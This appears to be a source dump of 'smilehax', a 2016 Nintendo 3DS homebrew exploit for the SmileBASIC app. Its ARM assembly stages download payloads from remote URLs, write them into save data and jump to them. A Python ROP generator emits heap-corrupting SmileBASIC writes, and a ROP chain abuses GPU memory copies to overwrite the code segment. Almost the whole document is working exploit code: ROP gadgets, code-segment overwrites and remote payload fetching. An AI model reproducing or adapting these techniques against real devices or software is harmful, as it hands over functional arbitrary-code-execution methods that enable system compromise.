| 87 | __found: 88 | /* Convert it from UCS-2 to ASCII. */ 89 | add r0, #2*5 90 | add r1, sp, #0x80 91 | __conv_loop: 92 | ldrh r2, [r0] 93 | strb r2, [r1] 94 | add r0, #2 95 | add r1, #1 96 | cmp r2, #0x22 /* Quote-character. */ 97 | bne __conv_loop 98 | sub r1, #1 99 | mov r0, #0 100 | strb r0, [r1] 101 | 102 | /* Construct URL. */ 103 | add r0, sp, #0 104 | mov r1, #0x80 105 | adr r2, __otherapp_format 106 | add r3, sp, #0x80 107 | ldr r5, =SNPRINTF 108 | blx r5 109 | 110 | /* Download otherapp. */ 111 | add r0, sp, #0 112 | adr r1, __otherapp_path 113 | mov r2, #0xC000 114 | mov r3, #1 115 | bl download_file 116 | 117 | /* Download persistent stage0. */ 118 | adr r0, __stage0_url 119 | adr r1, __stage0_path 120 | mov r2, #0x800 121 | mov r3, #0 122 | bl download_file 123 | 124 | /* Download persistent stage1. */ 125 | adr r0, __stage1_url 126 | adr r1, __stage1_path 127 | mov r2, #0x800 128 | mov r3, #1 129 | bl download_file 130 | 131 | /* Green screen. */ 132 | ldr r0, =0x00FF00FF 133 | bl framebuffer_fill 134 | 135 | ldr r5, =0x44444444 136 | blx r5 137 | 138 | __otherapp_format: 139 | .asciz "http://smealum.github.io/ninjhax2/JL1Xf2KFVm/otherapp/%s.bin" 140 | .align 2 141 | 142 | __otherapp_path: 143 | .string16 "save:/###/BOTHERAPP\0" 144 | 145 | __stage0_url: 146 | .ascii HTTP_BASE 147 | .ascii "/" 148 | .ascii HAX_COMBO 149 | .asciz "/THAX" 150 | .align 2 151 | 152 | __stage0_path: 153 | .string16 "save:/###/THAX\0" 154 | 155 | __stage1_url: 156 | .ascii HTTP_BASE 157 | .ascii "/" 158 | .ascii HAX_COMBO 159 | .asciz "/BPAYLOAD" 160 | .align 2 161 | 162 | __stage1_path: 163 | .string16 "save:/###/BPAYLOAD\0" 164 | 165 | .align 4 166 | 167 | /* download_file: r0=www, r1=dst_path, r2=max_size, r3=should_pad_file */ 168 | download_file: 169 | push {lr} 170 | sub sp, #0x100 171 | 172 | mov r7, r0 173 | mov r8, r1 174 | mov r9, r2 175 | mov r10, r3 176 | 177 | /* Setup HTTPC object. */ 178 | add r0, sp, #0x80 179 | mov r1, #0 180 | mov r2, #0x80 181 | bl memset32 182 | 183 | add r0, sp, #0x80 // struct_ptr 184 | mov r1, r7 // www 185 | mov r2, #1 // http_method=GET 186 | mov r3, #1 // use_proxy=true 187 | ldr r5, =HTTPC_INITSTRUCT 188 | blx r5 189 | 190 | /* Force crash on failure: yellow screen. */ 191 | cmp r0, #0 192 | beq __initstruct_ok 193 | ldr r1, =0xFFFF00FF 194 | b panic 195 | __initstruct_ok: 196 | 197 | /* Make HTTP request. */ 198 | add r0, sp, #0x80 199 | ldr r5, =HTTPC_BEGINREQUEST 200 | blx r5 201 | 202 | /* Force crash on failure: teal screen. */ 203 | cmp r0, #0 204 | beq __beginreq_ok 205 | ldr r1, =0x00FFFFFF 206 | b panic 207 | __beginreq_ok: 208 | 209 | add r0, sp, #0x80 // struct_ptr 210 | ldr r1, =CODE_BUF // out_ptr 211 | mov r2, r9 // out_size 212 | ldr r5, =HTTPC_RECVDATA 213 | blx r5 214 | 215 | /* Force crash on failure: light purple screen. */ 216 | cmp r0, #0 217 | beq __recvdata_ok 218 | ldr r1, =0xFA58F4FF 219 | b panic 220 | __recvdata_ok: 221 | 222 | /* Get file size from HTTP server if r10==0. */ 223 | add r0, sp, #0x80 // struct_ptr 224 | add r1, sp, #4 // cur_pos_out 225 | add r2, sp, #8 // total_size_out 226 | ldr r5, =HTTPC_GETSIZE 227 | blx r5 228 | 229 | cmp r10, #0 230 | ldreq r9, [sp, #8] 231 | 232 | /* Force crash on failure: brown screen. */ 233 | cmp r0, #0 234 | beq __getsize_ok 235 | ldr r1, =0x3B240BFF 236 | b panic 237 | __getsize_ok: 238 | 239 | /* Delete file and create it with correct size, required for extdata. */ 240 | mov r0, r8 241 | ldr r5, =FS_DELETE_FILE 242 | blx r5 243 | mov r0, r8 244 | mov r2, r9 245 | mov r3, #0 246 | ldr r5, =FS_CREATE_FILE 247 | blx r5 248 | 249 | /* Force crash on failure: dark blue screen. */ 250 | cmp r0, #0 251 | beq __createfile_ok 252 | ldr r1, =0x0B2F3AFF 253 | b panic 254 | __createfile_ok: 255 | 256 | add r0, sp, #0x40 257 | mov r1, r8 258 | mov r2, #3 // readwrite 259 | ldr r5, =FS_OPEN_FILE 260 | blx r5 261 | 262 | /* Force crash on failure: dark purple screen. */ 263 | cmp r0, #0 264 | beq __openfile_ok 265 | ldr r1, =0x2F0B3AFF 266 | bl framebuffer_fill 267 | __openfile_ok: 268 | 269 | add r0, sp, #12 // bytes_out 270 | ldr r1, [sp, #0x40] // handle 271 | mov r2, #0 // offset_lo 272 | mov r3, #0 // offset_hi 273 | ldr r4, =CODE_BUF 274 | str r4, [sp] // buf 275 | str r9, [sp, #4] // len 276 | mov r4, #1 277 | str r4, [sp, #8] // flush_flag=1 278 | ldr r5, =FS_WRITE_FILE 279 | blx r5 280 | 281 | ldr r0, [sp, #12] 282 | cmp r0, r9 283 | beq __writefile_len_ok 284 | /* Gray screen. */ 285 | ldr r1, =0x6E6E6EFF 286 | b panic 287 | __writefile_len_ok: 288 | 289 | /* Force crash on failure: black screen. */ 290 | cmp r0, r9 291 | beq __writefile_ok 292 | ldr r1, =0x000000FF 293 | b panic 294 | __writefile_ok: 295 | 296 | add sp, #0x100 297 | pop {pc} 298 | .pool 299 | 300 | panic: 301 | mov r9, r0 302 | mov r10, lr 303 | mov r0, r1 304 | bl framebuffer_fill 305 | ldr r0, =0xFBADC0DE 306 | blx r0 307 | 308 | memset32: 309 | cmp r2, #0 310 | bxeq lr 311 | str r1, [r0], #4 312 | sub r2, #4 313 | b memset32 314 | 315 | /* framebuffer_reset: Setup framebuffer to point to FRAMEBUF_ADDR. */ 316 | framebuffer_reset: 317 | push {lr} 318 | ldr r0, =0x00400468 319 | bl set_fb_register 320 | ldr r0, =0x0040046C 321 | bl set_fb_register 322 | ldr r0, =0x00400494 323 | bl set_fb_register 324 | ldr r0, =0x00400498 325 | bl set_fb_register 326 | 327 | ldr r3, =GSP_WRITE_HW_REGS 328 | ldr r0, =0x00400470 329 | adr r1, __fb_format 330 | mov r2, #4 331 | blx r3 332 | 333 | ldr r3, =GSP_WRITE_HW_REGS 334 | ldr r0, =0x0040045C 335 | adr r1, __fb_size 336 | mov r2, #4 337 | blx r3 338 | 339 | pop {pc} 340 | __fb_format: 341 | .word (0 | (1<<6)) 342 | __fb_size: 343 | .word (240<<16) | (400) 344 | 345 | set_fb_register: 346 | ldr r3, =GSP_WRITE_HW_REGS 347 | adr r1, __fb_physaddr 348 | mov r2, #4 349 | bx r3 350 | __fb_physaddr: 351 | .word GPU_TO_PA_ADDR(FRAMEBUF_ADDR) 352 | 353 | /* framebuffer_fill: Fill framebuffer with color in r0. */ 354 | framebuffer_fill: 355 | ldr r1, =FRAMEBUF_ADDR 356 | ldr r2, =FRAMEBUF_SIZE 357 | add r2, r1 358 | __fill_loop: 359 | str r0, [r1] 360 | add r1, #4 361 | cmp r1, r2 362 | bne __fill_loop 363 | ldr r4, =GSP_FLUSH_DATA_CACHE 364 | ldr r0, =FRAMEBUF_ADDR 365 | ldr r1, =FRAMEBUF_SIZE 366 | bx r4 367 | 368 | .pool 369 | 370 | .org 0x800, 0x44 371 | code_end: 372 | -------------------------------------------------------------------------------- /src/macros.h: -------------------------------------------------------------------------------- 1 | /* smilehax - smilebasic exploit */ 2 | /* plutoo 2016 */ 3 | 4 | #define GARBAGE 0xDEADC0DE 5 | #define TODO 0x70D070D0 6 | 7 | #if defined(JAP300) 8 | #define REGION_CONST(name, jap300, usa321, usa331) .set name, jap300 9 | #elif defined(USA321) 10 | #define REGION_CONST(name, jap300, usa321, usa331) .set name, usa321 11 | #elif defined(USA331) 12 | #define REGION_CONST(name, jap300, usa321, usa331) .set name, usa331 13 | #else 14 | #error "wat" 15 | #endif 16 | 17 | #define GLOBAL_CONST(name, val) .set name, val 18 | 19 | /* Linear memory is mapped at 0x30000000 not 0x14000000. */ 20 | #define PA_TO_GPU_ADDR(pa) ((pa) + 0x10000000) 21 | #define GPU_TO_PA_ADDR(pa) ((pa) - 0x10000000) 22 | 23 | REGION_CONST(NEW_VA_TO_PA, 0x27B00000, TODO, 0x27B00000); 24 | REGION_CONST(OLD_VA_TO_PA, 0x23F00000, TODO, 0x23F00000); 25 | 26 | #if defined(NEW3DS) 27 | #define CODE_VA_TO_PA(va) ((va - 0x00100000) + NEW_VA_TO_PA) 28 | #else 29 | #define CODE_VA_TO_PA(va) ((va - 0x00100000) + OLD_VA_TO_PA) 30 | #endif 31 | -------------------------------------------------------------------------------- /src/persistent_stage0.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python2 2 | 3 | # smilehax - smilebasic 3ds exploit 4 | # plutoo 2016 5 | 6 | from constants import * 7 | from rop_generator import * 8 | 9 | emit_hdr() 10 | 11 | emit_rop([ 12 | GADGET_R0, # pop {r0, pc} 13 | RelativeAddr(22*4), # handle_out_ptr 14 | GADGET_R1R2R3R4R5, # pop {r1-r5, pc} 15 | PtrToUStr('save:/###/BPAYLOAD\0'), 16 | 1, # flags = FILE_READ, 17 | DontCare, # r3 18 | DontCare, # r4 19 | DontCare, # r5 20 | FS_OPEN_FILE+4, # fs::TryOpenFile(...) 21 | DontCare, # r4 22 | DontCare, # r5 23 | DontCare, # r6 24 | DontCare, # r7 25 | DontCare, # r8 26 | GADGET_R1R2R3R4R5, # pop {r1-r5, pc} 27 | DontCare, # r1 28 | 0, # r2 offset_lo 29 | 0, # r3 offset_hi 30 | DontCare, # r4 31 | DontCare, # r5 32 | GADGET_R0, # pop {r0, pc} 33 | SafeAddr(0), # r0 buf_addr 34 | GADGET_R1, # pop {r1, pc} 35 | DontCare, # r1 this is overwritten by openfile above 36 | FS_READ_FILE+4, # fs::TryReadFile(...) 37 | DontCare, # r4 38 | DontCare, # r5 39 | DontCare, # r6 40 | DontCare, # r7 41 | DontCare, # r8 42 | DontCare, # r9 43 | GADGET_R1R2R3R4R5, # pop {r1-r5, pc} 44 | CODE_BUF, # sp_arg0 ^ output ptr 45 | PERSISTENT_STAGE1_SIZE, # sp_arg1 ^ size 46 | DontCare, # r3 47 | DontCare, # r4 48 | DontCare, # r5 49 | GADGET_R0, # pop {r0, pc} 50 | CODE_BUF, # r0 buf_addr 51 | GADGET_R1, # pop {r1, pc} 52 | PERSISTENT_STAGE1_SIZE, # r1 buf_size 53 | GSP_FLUSH_DATA_CACHE+4, # gsp::FlushDataCache(...) 54 | DontCare, # r4 55 | DontCare, # r5 56 | DontCare, # r6 57 | GSP_ENQUEUE_CMD_GADGET, # gsp::EnqueueGpuCommand(...) 58 | 4, # sp_arg0 cmd_type=TEXTURE_COPY 59 | CODE_BUF, # sp_arg1 src_ptr 60 | PA_TO_GPU_ADDR(CODE_DST_PA), # sp_arg2 dst_ptr 61 | PERSISTENT_STAGE1_SIZE, # sp_arg3 size=code_size 62 | 0, # sp_arg4 in_dimensions=0 63 | 0, # sp_arg5 out_dimensions=0 64 | 8, # sp_arg6 flags=RAW_MEM_COPY 65 | 0, # sp_arg7 not used 66 | DontCare, # ... 67 | DontCare, # r4 68 | DontCare, # r5 69 | DontCare, # r6 70 | DontCare, # r7 71 | GADGET_POP_R4R5LR__BX_LR, # initialize lr to pop {r0, pc} 72 | DontCare, # r4 73 | DontCare, # r5 74 | GADGET_R0, # pop {r0, pc} 75 | DontCare, # r0 76 | GADGET_R0, # pop {r0, pc} 77 | 0x10000000, # r0 ticks_lo 78 | GADGET_R1, # pop {r1, pc} 79 | 0, # r1 ticks_hi 80 | SVC_SLEEP_THREAD, # svc::SleepThread(...) 81 | DontCare, # r0, from lr-pop 82 | CODE_DST_VA # jump to code 83 | ]) 84 | -------------------------------------------------------------------------------- /src/persistent_stage1.s: -------------------------------------------------------------------------------- 1 | /* smilehax - smilebasic exploit */ 2 | /* plutoo 2016 */ 3 | 4 | #include "macros.h" 5 | #include "constants.h" 6 | 7 | start: 8 | sub sp, #8 9 | /* Tell GSP thread to fuck off. */ 10 | ldr r4, =GSP_THREAD_OBJ_PTR 11 | mov r1, #1 12 | strb r1, [r4, #0x77] 13 | ldr r0, [r4, #0x2C] 14 | svc 0x18 15 | cmp r0, #0 16 | beq __signal_ok 17 | ldr r5, =0xc0deabad 18 | blx r5 19 | __signal_ok: 20 | /* Open otherapp binary. */ 21 | add r0, sp, #0 // file_handle_out 22 | adr r1, otherapp_str // path 23 | mov r2, #1 // flags=FILE_READ 24 | ldr r5, =FS_OPEN_FILE 25 | blx r5 26 | cmp r0, #0 27 | beq __openfile_ok 28 | ldr r5, =0xc0de0bad 29 | blx r5 30 | __openfile_ok: 31 | /* Read it. */ 32 | ldr r1, [sp] // file_handle 33 | add r0, sp, #4 // bytes_read_out 34 | mov r2, #0 // offset_lo 35 | mov r3, #0 // offset_hi 36 | ldr r4, =CODE_BUF 37 | str r4, [sp] // dst 38 | ldr r4, =OTHERAPP_SIZE 39 | str r4, [sp, #4] // size 40 | ldr r5, =FS_READ_FILE 41 | blx r5 42 | cmp r0, #0 43 | beq __readfile_ok 44 | ldr r5, =0xc0de1bad 45 | blx r5 46 | __readfile_ok: 47 | /* Gspwn it to code segment. */ 48 | ldr r0, =PA_TO_GPU_ADDR(OTHERAPP_CODE_PA) // dst 49 | ldr r1, =CODE_BUF // src 50 | ldr r2, =OTHERAPP_SIZE // size 51 | bl gsp_gxcmd_texturecopy 52 | bl small_sleep 53 | /* Grab GSP handle for next payload. */ 54 | ldr r3, =GSPGPU_SERVHANDLEADR 55 | /* Set up param-blk for otherapp payload. */ 56 | ldr r0, =PARAMBLK_ADDR 57 | ldr r1, =GSP_GX_CMD4 58 | str r1, [r0, #0x1C] // gx_cmd4 59 | ldr r1, =GSP_FLUSH_DATA_CACHE 60 | str r1, [r0, #0x20] // flushdcache 61 | add r2, r0, #0x48 62 | mov r1, #0x8D // flags 63 | str r1, [r2] 64 | add r2, r0, #0x58 // gsp_handle 65 | str r3, [r2] 66 | /* smea's magic does the rest. */ 67 | ldr r0, =PARAMBLK_ADDR // param_blk 68 | ldr r1, =0x10000000 - 4 // stack_ptr 69 | ldr r2, =OTHERAPP_CODE_VA 70 | blx r2 71 | 72 | ldr r5, =0xA9A9A9A9 73 | blx r5 74 | .pool 75 | otherapp_str: 76 | .string16 "save:/###/BOTHERAPP\0" 77 | .align 4 78 | 79 | /* small_sleep: Sleep for a while. */ 80 | small_sleep: 81 | mov r0, #0x10000000 82 | mov r1, #0 83 | svc 0x0A // svcSleepThread 84 | bx lr 85 | 86 | /* gsp_gxcmd_texturecopy: Trigger GPU memcpy. */ 87 | gsp_gxcmd_texturecopy: 88 | push {lr} 89 | sub sp, #0x20 90 | 91 | mov r3, r0 92 | mov r0, r1 93 | mov r1, r3 94 | 95 | mov r3, #0 96 | str r3, [sp, #0] 97 | str r3, [sp, #4] 98 | str r3, [sp, #8] 99 | mov r3, #0x8 100 | str r3, [sp, #12] 101 | mov r3, #0 102 | 103 | ldr r4, =GSP_GX_CMD4 104 | blx r4 105 | 106 | /*mov r4, #0 107 | 108 | mov r5, #4 // cmd_type=TEXTURE_COPY 109 | str r5, [sp] 110 | str r1, [sp, #4] // src_ptr=r1 111 | str r0, [sp, #8] // dst_ptr=r0 112 | str r2, [sp, #0xC] // size=r2 113 | str r4, [sp, #0x10] // in_dimensions=0 114 | str r4, [sp, #0x14] // out_dimensions=0 115 | mov r5, #8 116 | str r5, [sp, #0x18] // flags=8 117 | str r4, [sp, #0x1C] // unused=0 118 | 119 | mov r0, sp 120 | bl gsp_execute_gpu_cmd*/ 121 | add sp, #0x20 122 | pop {pc} 123 | .pool 124 | 125 | /*gsp_execute_gpu_cmd: 126 | push {lr} 127 | mov r1, r0 128 | ldr r4, =GSP_GET_INTERRUPTRECEIVER 129 | blx r4 130 | add r0, #0x58 131 | ldr r4, =GSP_ENQUEUE_CMD 132 | blx r4 133 | pop {pc} 134 | .pool*/ 135 | 136 | .org 0x400, 0x41 137 | -------------------------------------------------------------------------------- /src/rop_generator.py: -------------------------------------------------------------------------------- 1 | # smilehax - smilebasic 3ds exploit 2 | # plutoo 2016 3 | 4 | from constants import * 5 | 6 | def emit_w32(offset, val): 7 | print 'W %u,&H%X' % \ 8 | (offset/4, val) 9 | 10 | def emit_hdr(): 11 | print 'BGSCREEN 0,1073741824,2' 12 | 13 | # Word offset for the prev-ptr in the heap memchunkhdr immediately following 14 | # this buffer. 15 | prev_memchunkhdr_ptr_wordoff = (TABLE_OBJ_SIZE-TABLE_BASE_OFFSET+0x8)/4 16 | 17 | print 'B0=BGGET(0,%u,0)' % (prev_memchunkhdr_ptr_wordoff) 18 | print 'B1=BGGET(0,%u,1)' % (prev_memchunkhdr_ptr_wordoff) 19 | print 'B=((B1 OR (B0 << 16))+%u)/4' % (0x10+TABLE_BASE_OFFSET) 20 | 21 | print 'DEF W A,V' 22 | print ' BGPUT 0,A+%u-B,0,V>>16' % (ROP_START/4) 23 | print ' BGPUT 0,A+%u-B,1,V' % (ROP_START/4) 24 | print 'END' 25 | print '' 26 | 27 | class DontCare: 28 | pass 29 | 30 | class PtrToStr: 31 | def __init__(self, val): 32 | self.val = val 33 | 34 | def get_data(self): 35 | data = [] 36 | for i in range((len(self.val)+3) / 4): 37 | w32 = self.val[4*i:4*i+4].encode('hex') 38 | while len(w32) < 8: 39 | w32 += '00' 40 | w32 = ''.join([w32[x:x+2] for x in range(0, len(w32), 2)][::-1]) 41 | w32 = int(w32, 16) 42 | data.append(w32) 43 | return data 44 | 45 | class PtrToUStr: 46 | def __init__(self, val): 47 | self.val = val 48 | 49 | def get_data(self): 50 | data = [] 51 | for i in range((len(self.val)+1) / 2): 52 | w32 = self.val[2*i:2*i+2].encode('hex') 53 | w32 = w32[0:2] + '00' + w32[2:4] + '00' 54 | while len(w32) < 8: 55 | w32 += '00' 56 | w32 = ''.join([w32[x:x+2] for x in range(0, len(w32), 2)][::-1]) 57 | w32 = int(w32, 16) 58 | data.append(w32) 59 | return data 60 | 61 | class RelativeAddr: 62 | def __init__(self, off): 63 | self.off = off 64 | 65 | class SafeAddr: 66 | def __init__(self, off): 67 | self.off = off 68 | 69 | def emit_rop(rop): 70 | # Rop chain. 71 | end = ROP_START + len(rop)*4 72 | rop_addr = ROP_START 73 | rop_offset = 0 74 | data = [] 75 | for val in rop: 76 | # Don't place a write where we don't need one, less to type manually. 77 | if val == DontCare: 78 | pass 79 | elif isinstance(val, RelativeAddr): 80 | emit_w32(rop_offset, rop_addr + val.off) 81 | elif isinstance(val, SafeAddr): 82 | emit_w32(rop_offset, ROP_SAFE + val.off) 83 | elif type(val) == int: 84 | emit_w32(rop_offset, val) 85 | else: 86 | emit_w32(rop_offset, end + 4 * len(data)) 87 | data.extend(val.get_data()) 88 | rop_addr += 4 89 | rop_offset += 4 90 | 91 | # Data. 92 | print '' 93 | rop_addr = end 94 | for val in data: 95 | emit_w32(rop_addr - ROP_START, val) 96 | rop_addr += 4 97 | 98 | # Trigger rop. 99 | print '' 100 | emit_w32(-4, GADGET_NOP) 101 | -------------------------------------------------------------------------------- /test_locally.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | wd=$(pwd) 3 | make clean && HTTP_BASE=http://192.168.1.102:8000 make && cd build/ && python2 -m SimpleHTTPServer 4 | cd $wd 5 | --------------------------------------------------------------------------------